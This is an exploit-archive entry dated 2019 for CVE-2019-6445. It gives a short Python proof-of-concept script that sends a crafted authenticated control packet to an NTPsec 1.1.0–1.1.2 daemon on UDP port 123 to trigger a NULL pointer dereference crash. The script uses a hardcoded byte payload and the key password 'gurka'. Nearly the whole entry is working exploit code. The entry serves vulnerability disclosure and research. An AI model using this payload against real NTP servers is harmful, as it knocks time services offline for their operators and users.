发布 2019-01-16 漏洞条目

NTPsec 1.1.2 – ‘ntp_control’ (Authenticated) NULL Pointer Dereference (PoC)

Exploit Source

#!/usr/bin/env python

# Exploit Title: ntpsec 1.1.2 authenticated NULL pointer exception Proof of concept

# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)

# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)

# Website: https://dumpco.re/bugs/ntpsec-authed-npe

# Vendor Homepage: https://ntpsec.org/

# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz

# Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2

# CVE: CVE-2019-6445

# Note: this PoC uses Keyid 1 with password 'gurka'

import sys

import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +

"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +

"\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(buf, ('127.0.0.1', 123))

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